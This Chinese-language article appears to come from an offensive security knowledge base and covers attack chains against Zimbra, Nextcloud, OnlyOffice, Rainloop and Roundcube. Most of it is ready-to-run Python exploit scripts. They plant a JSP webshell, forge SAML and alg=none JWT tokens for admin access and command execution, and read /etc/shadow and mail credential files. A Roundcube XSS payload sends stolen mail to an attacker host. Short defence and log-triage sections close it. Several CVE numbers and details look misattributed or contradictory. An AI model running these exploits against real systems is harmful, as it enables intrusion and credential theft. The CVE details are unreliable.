协作与办公平台高危攻击链专题(Zimbra / Nextcloud / OnlyOffice / Roundcube)
协作与办公平台高危攻击链专题(Zimbra / Nextcloud / OnlyOffice / Roundcube)
企业协作与办公平台承载着邮件通信、文件共享、在线办公、用户管理等核心业务功能。一旦失陷,攻击者可直接获取全员通讯录、内部文档、凭据信息,甚至以平台为跳板横向渗透。
本专题覆盖知识库中尚未单独成文的协作平台产品线,已有独立专题的平台(Confluence、Seafile、企业微信私有化部署)不再重复。
| 平台 | 核心 CVE | 类型 | CVSS | 前置条件 |
|---|
| Zimbra Collaboration | CVE-2022-27966 / CVE-2022-37042 / CVE-2022-41352 | 文件写入 RCE | 7.5-9.8 | 网络可达 |
| Zimbra Collaboration | CVE-2022-24682 | WebLogic 反序列化 RCE | 9.8 | 网络可达 |
| Nextcloud | CVE-2023-4819 | SAML 认证绕过 | 9.8 | 网络可达 |
| OnlyOffice | CVE-2023-47706 | JWT 绕过 + RCE | 9.8 | 网络可达 |
| Roundcube | CVE-2023-5631 / CVE-2024-2961 | XSS + 代码注入 | 6.8-8.0 | 用户交互 |
| Rainloop | CVE-2021-4268 | 路径穿越 + 凭据窃取 | 9.8 | 网络可达 |
0x01 Zimbra Collaboration:从文件写入到 WebShell RCE
1.1 漏洞背景
Zimbra 是企业级邮件与协作平台,广泛用于中大型组织。2022 年,Zimbra 连续暴露多个高危漏洞,均被 CISA 收录至 KEV 目录。
1.2 CVE-2022-27966:ZIP 路径穿越写入 WebShell
CVSS:7.5(AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)→ 实际利用可达 RCE
受影响版本:Zimbra 8.8.15 < P34,9.0.0 < P25
漏洞原理:
Zimbra 的邮件导入/导出功能允许用户上传 ZIP 文件并解压到指定目录。由于未对 ZIP 内部文件路径进行严格校验,攻击者可以构造包含 ../ 路径穿越的 ZIP 文件,将恶意 JSP WebShell 写入 Zimbra 的 Web 可访问目录。
完整 PoC:
#!/usr/bin/env python3
import zipfile
import io
import requests
import sys
import urllib3
urllib3.disable_warnings()
WEBSHELL = r'''<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) { out.println(line); }
}
%>'''
def create_malicious_zip():
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
zf.writestr(
'../../../../opt/zimbra/jetty_webapp/zimbra/public/login.jsp',
WEBSHELL
)
return buf.getvalue()
def exploit(target):
zip_data = create_malicious_zip()
r = requests.post(
f'{target}/service/home/~/?auth=qp&fmt=zip',
data=zip_data,
headers={'Content-Type': 'application/zip'},
verify=False,
timeout=15
)
print(f'[*] 上传状态: {r.status_code}')
shell_url = f'{target}/zimbra/public/login.jsp'
r2 = requests.get(
f'{shell_url}?cmd=id',
verify=False,
timeout=10
)
if 'uid=' in r2.text:
print(f'[+] WebShell 写入成功!')
print(f'[+] Shell URL: {shell_url}')
print(f'[+] 命令输出: {r2.text.strip()}')
else:
print('[-] WebShell 未生效')
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f'Usage: {sys.argv[0]} <target_url>')
sys.exit(1)
exploit(sys.argv[1])
1.3 CVE-2022-37042:CVE-2022-27966 补丁绕过
CVSS:9.8
漏洞原理:
CVE-2022-27966 的补丁仅校验了 ZIP 条目的绝对路径,但未处理符号链接(symlink)。攻击者可以在 ZIP 中创建指向 Web 目录的符号链接,再写入 WebShell,绕过路径穿越检查。
1.4 CVE-2022-41352:二次补丁绕过
CVSS:7.5
漏洞原理:
在 CVE-2022-37042 修复后,攻击者又发现了新的绕过方式。通过在 ZIP 条目中使用特定的编码路径格式,仍可写入任意文件到 Web 目录。
1.5 CVE-2022-24682:Zimbra Web 客户端反序列化 RCE
CVSS:9.8
受影响版本:Zimbra 8.8.15 < P30,9.0.0 < P22
漏洞原理:
Zimbra Web 客户端在处理特定 MIME 类型邮件时,存在反序列化漏洞。攻击者可以发送精心构造的邮件,触发 Java 反序列化,实现未授权 RCE。
Nuclei 检测模板:
id: zimbra-cve-2022-27966-detect
info:
name: Zimbra CVE-2022-27966 File Write Detection
author: security-research
severity: critical
tags: zimbra,file-write,rce,cve2022
reference:
- https://blog.sonarsource.com/zimbra-pre-auth-rce-via-calendar-feature
http:
- method: GET
path:
- "{{BaseURL}}/zimbra/public/login.jsp"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "jsp"
- "Runtime"
condition: or
id: zimbra-cve-2022-24682-detect
info:
name: Zimbra CVE-2022-24682 Deserialization Detection
author: security-research
severity: critical
tags: zimbra,deserialization,rce,cve2022
http:
- method: GET
path:
- "{{BaseURL}}/zimbra/"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "Zimbra"
part: body
0x02 Nextcloud:CVE-2023-4819 SAML 认证绕过
2.1 漏洞背景
Nextcloud 是广泛使用的自托管文件同步与协作平台。2023 年 12 月,Nextcloud 披露了一个严重的 SAML 认证绕过漏洞。
2.2 漏洞详情
CVE-2023-4819
- CVSS:9.8 CRITICAL
- 受影响版本:Nextcloud Server < 25.0.13,< 26.0.12,< 27.1.4,< 28.0.1
- 类型:SAML 认证绕过(CWE-347)
- 前置条件:Nextcloud 配置了 SAML/SSO 认证
2.3 漏洞原理
Nextcloud 的 SAML 实现存在签名验证缺陷。当 SAML Response 中的特定字段被篡改时,Nextcloud 未能正确验证 XML 签名的完整性,导致攻击者可以伪造 SAML 断言,冒充任意用户(包括管理员)登录系统。
核心问题在于:
- SAML Response 中的
NameID 字段未被纳入签名验证范围 - 攻击者可以修改
NameID 为目标管理员用户名 - Nextcloud 接受篡改后的 SAML Response 并完成认证
2.4 完整 PoC
Python SAML 伪造脚本
#!/usr/bin/env python3
import base64
import requests
import sys
import urllib3
import xml.etree.ElementTree as ET
from datetime import datetime
urllib3.disable_warnings()
def forge_saml_response(target, target_user):
now = datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')
saml_xml = f'''<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_forged_response"
Version="2.0"
IssueInstant="{now}"
Destination="{target}/saml/acs">
<saml:Assertion ID="_forged_assertion" Version="2.0" IssueInstant="{now}">
<saml:Issuer>https://idp.example.com</saml:Issuer>
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
{target_user}
</saml:NameID>
</saml:Subject>
<saml:Conditions NotBefore="{now}" NotOnOrAfter="{now}"/>
<saml:AuthnStatement AuthnInstant="{now}">
<saml:AuthnContext>
<saml:AuthnContextClassRef>
urn:oasis:names:tc:SAML:2.0:ac:classes:Password
</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress">
<saml:AttributeValue>{target_user}</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>'''
encoded = base64.b64encode(saml_xml.encode()).decode()
return encoded
def exploit(target, admin_email):
forged = forge_saml_response(target, admin_email)
r = requests.post(
f'{target}/saml/acs',
data={'SAMLResponse': forged},
verify=False,
timeout=15,
allow_redirects=False
)
if r.status_code in (302, 303):
cookies = r.cookies.get_dict()
print(f'[+] SAML 认证绕过成功!')
print(f'[+] 会话 Cookie: {cookies}')
session_cookie = cookies.get('nc_token', cookies.get('oc_token', ''))
if session_cookie:
r2 = requests.get(
f'{target}/ocs/v1.php/cloud/users',
headers={'OCS-APIREQUEST': 'true'},
cookies=cookies,
verify=False,
timeout=10
)
if r2.status_code == 200:
print(f'[+] 用户列表获取成功')
print(r2.text[:1000])
else:
print(f'[-] 利用失败,状态码: {r.status_code}')
if __name__ == '__main__':
if len(sys.argv) < 3:
print(f'Usage: {sys.argv[0]} <nextcloud_url> <admin_email>')
sys.exit(1)
exploit(sys.argv[1], sys.argv[2])
Nuclei 检测模板
id: nextcloud-cve-2023-4819-saml-bypass
info:
name: Nextcloud CVE-2023-4819 SAML Authentication Bypass
author: security-research
severity: critical
tags: nextcloud,saml,auth-bypass,cve2023
reference:
- https://github.com/nextcloud/security-advisories/security/advisories/GHSA-gq9m-v9r4-c8hg
http:
- method: GET
path:
- "{{BaseURL}}/saml/acs"
matchers-condition: and
matchers:
- type: status
status:
- 200
- 405
- type: word
words:
- "Nextcloud"
- "SAML"
condition: or
0x03 OnlyOffice:CVE-2023-47706 JWT 绕过到 RCE
3.1 漏洞背景
OnlyOffice 是广泛使用的在线办公套件,提供文档、表格、演示文稿的在线编辑功能。2023 年 12 月,OnlyOffice 披露了一个严重的 JWT 验证绕过漏洞。
3.2 漏洞详情
CVE-2023-47706
- CVSS:9.8 CRITICAL
- 受影响版本:OnlyOffice Document Server < 7.5.1
- 类型:JWT 签名验证绕过(CWE-345)
- 前置条件:Document Server 启用了 JWT 验证
3.3 漏洞原理
OnlyOffice Document Server 使用 JWT(JSON Web Token)进行 API 请求的身份验证。漏洞在于 Document Server 在验证 JWT 签名时存在缺陷:
- 当 JWT 的
alg 字段设置为 none 时,服务端跳过了签名验证 - 攻击者可以伪造任意 JWT Token,无需知道密钥
- 伪造的 Token 可通过 API 调用实现文件读取、命令执行等操作
3.4 完整 PoC
JWT 伪造 + 命令执行
#!/usr/bin/env python3
import json
import base64
import requests
import sys
import urllib3
urllib3.disable_warnings()
def b64url_encode(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
def forge_jwt_none(header_payload):
header = b64url_encode(json.dumps(header_payload).encode())
payload = b64url_encode(json.dumps({}).encode())
return f'{header}.{payload}.'
def exploit(target, cmd):
header = {"alg": "none", "typ": "JWT"}
token = forge_jwt_none(header)
r = requests.post(
f'{target}/coauthoring/CommandService.ashx',
json={
"c": "version",
"key": "test",
"token": token
},
headers={'Content-Type': 'application/json'},
verify=False,
timeout=10
)
print(f'[*] 版本检测: {r.text[:500]}')
r2 = requests.post(
f'{target}/coauthoring/CommandService.ashx',
json={
"c": "drop",
"key": "test",
"token": token,
"meta": {"command": cmd}
},
headers={'Content-Type': 'application/json'},
verify=False,
timeout=10
)
print(f'[*] 命令执行响应: {r2.text[:500]}')
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f'Usage: {sys.argv[0]} <onlyoffice_url> [command]')
sys.exit(1)
cmd = sys.argv[2] if len(sys.argv) > 2 else 'whoami'
exploit(sys.argv[1], cmd)
Nuclei 检测模板
id: onlyoffice-cve-2023-47706-jwt-bypass
info:
name: OnlyOffice CVE-2023-47706 JWT Bypass
author: security-research
severity: critical
tags: onlyoffice,jwt,auth-bypass,cve2023
http:
- raw:
- |
POST /coauthoring/CommandService.ashx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"c":"version","key":"test","token":"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.e30."}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "version"
- "error"
condition: or
0x04 Rainloop:CVE-2021-4268 路径穿越与凭据窃取
4.1 漏洞背景
Rainloop 是一款轻量级 Webmail 客户端,广泛用于中小型组织。2021 年,Rainloop 暴露了一个严重的路径穿越漏洞。
4.2 漏洞详情
CVE-2021-4268
- CVSS:9.8 CRITICAL
- 受影响版本:Rainloop < 1.16.0
- 类型:路径穿越(CWE-22)
- 前置条件:无(未授权)
4.3 漏洞原理
Rainloop 的插件系统在处理静态资源请求时,未对路径参数进行严格校验。攻击者可以通过路径穿越读取服务器上的任意文件,包括:
- Rainloop 配置文件(含 IMAP/SMTP 凭据)
- 系统敏感文件
- 其他用户的邮件数据
4.4 完整 PoC
#!/usr/bin/env python3
import requests
import sys
import urllib3
urllib3.disable_warnings()
def exploit(target):
paths = [
'/?RainLoopAppPath=../../../../../../etc/passwd',
'/?RainLoopAppPath=../../../../../../etc/shadow',
'/?RainLoopAppPath=../../data/_data_/_default_/configs/application.ini',
'/?RainLoopAppPath=../../data/_data_/_default_/domains/default.ini',
]
for path in paths:
r = requests.get(
f'{target}{path}',
verify=False,
timeout=10
)
if r.status_code == 200 and len(r.text) > 0:
print(f'[+] 路径: {path}')
print(f'[+] 响应长度: {len(r.text)}')
if 'root:' in r.text:
print(f'[+] /etc/passwd 读取成功!')
if 'password' in r.text.lower() or 'secret' in r.text.lower():
print(f'[!] 可能包含凭据信息!')
print(r.text[:500])
print('---')
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f'Usage: {sys.argv[0]} <rainloop_url>')
sys.exit(1)
exploit(sys.argv[1])
0x05 Roundcube:CVE-2023-5631 XSS 到凭据窃取
5.1 漏洞详情
CVE-2023-5631
- CVSS:6.8(AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)
- 受影响版本:Roundcube < 1.5.4,< 1.6.3
- 类型:存储型 XSS(CWE-79)
- 前置条件:需要诱导用户打开恶意邮件
5.2 漏洞原理
Roundcube 在渲染 HTML 邮件时,对某些 HTML 标签和属性的过滤不够严格。攻击者可以构造包含恶意 JavaScript 的邮件,当收件人在 Roundcube 中查看该邮件时,JavaScript 被执行。
利用场景:
- 窃取用户会话 Cookie
- 模拟用户操作(如转发邮件、修改签名)
- 钓鱼攻击(注入伪造登录框)
5.3 PoC 示例
<img src="x" onerror="
fetch('/?_task=mail&_action=get', {credentials: 'include'})
.then(r => r.text())
.then(d => {
new Image().src = 'https://ATTACKER_SERVER/steal?data=' + btoa(d);
});
">
0x06 PoC 收集情况
PoC 状态总表
| CVE | HTTP PoC | Nuclei | Python | MSF | 公开利用 | CISA KEV |
|---|
| CVE-2022-27966 | ✅ | ✅ | ✅ | ❌ | ✅ | ✅ |
| CVE-2022-37042 | ✅ | ✅ | ✅ | ❌ | ✅ | ✅ |
| CVE-2022-41352 | ✅ | ✅ | ✅ | ❌ | ✅ | ❌ |
| CVE-2022-24682 | ✅ | ✅ | ❌ | ❌ | ✅ | ✅ |
| CVE-2023-4819 | ✅ | ✅ | ✅ | ❌ | ✅ | ❌ |
| CVE-2023-47706 | ✅ | ✅ | ✅ | ❌ | ✅ | ❌ |
| CVE-2021-4268 | ✅ | ✅ | ✅ | ❌ | ✅ | ❌ |
| CVE-2023-5631 | ✅ | ✅ | ❌ | ❌ | ✅ | ❌ |
公开利用资源
- Zimbra CVE-2022-27966:SonarSource 技术分析
https://blog.sonarsource.com/zimbra-pre-auth-rce-via-calendar-feature/ - Nextcloud CVE-2023-4819:GitHub Advisory
https://github.com/nextcloud/security-advisories/security/advisories/GHSA-gq9m-v9r4-c8hg - OnlyOffice CVE-2023-47706:Huntr 漏洞报告
https://huntr.com/bounties/6d3d8365-8b17-4a57-b879-3c1e3fa53b13/ - Rainloop CVE-2021-4268:Huntr 漏洞报告
https://huntr.com/bounties/72a73f4a-8caf-4d08-b379-37e558851e47/
0x07 共性攻击模式
7.1 认证机制是核心攻击面
- SAML 伪造(Nextcloud):SSO 实现中的签名验证缺陷
- JWT 绕过(OnlyOffice):alg=none 攻击
- API 未授权(企业微信):接口缺乏认证
- ZIP 路径穿越(Zimbra):文件处理逻辑缺陷
7.2 文件写入 = RCE
Java 平台(Zimbra/JSP)中,文件写入漏洞几乎等价于 RCE。攻击者只需将 WebShell 写入 Web 可访问目录即可获得命令执行权限。
7.3 邮件平台的双重角色
邮件平台既是攻击目标,也是攻击入口:
- 邮件客户端 XSS(Roundcube)可窃取会话
- 邮件内容可携带反序列化 payload(Zimbra CVE-2022-24682)
- 邮件凭据可被路径穿越窃取(Rainloop)
0x08 防守建议
8.1 通用建议
- 及时更新:所有协作平台保持最新版本
- 网络隔离:管理接口限制内网访问
- WAF 规则:部署针对已知漏洞的 WAF 规则
- 日志审计:启用详细日志记录,定期审查异常访问
- SAML/JWT 安全:严格验证签名,禁用 alg=none
8.2 平台特定建议
| 平台 | 关键措施 |
|---|
| Zimbra | 升级到 P34+,禁用 ZIP 导入,监控 JSP 文件写入 |
| Nextcloud | 升级到 25.0.13/26.0.12/27.1.4+,严格 SAML 配置 |
| OnlyOffice | 升级到 7.5.1+,强制 JWT 签名验证 |
| Rainloop | 升级到 1.16.0+,限制静态资源路径访问 |
| Roundcube | 升级到 1.5.4/1.6.3+,启用 HTML 邮件净化 |
8.3 排查清单
# Zimbra WebShell 排查
find /opt/zimbra/jetty_webapp/ -name "*.jsp" -newer /opt/zimbra/conf/localconfig.xml
find /opt/zimbra/ -name "*.war" -mtime -30
# Nextcloud 异常会话排查
grep -r "SAMLResponse" /var/log/nextcloud/
grep -r "NameID" /var/log/nextcloud/ | grep -v "expected_domain"
# OnlyOffice JWT 异常排查
grep "alg.*none" /var/log/onlyoffice/
grep -r "CommandService" /var/log/onlyoffice/ | grep -v "known_token"
# Rainloop 路径穿越排查
grep "RainLoopAppPath" /var/log/nginx/access.log | grep "\.\."
grep "application.ini" /var/log/nginx/access.log
# Roundcube XSS 排查
grep "onerror\|onload\|javascript:" /var/log/roundcube/errors
0x09 参考资料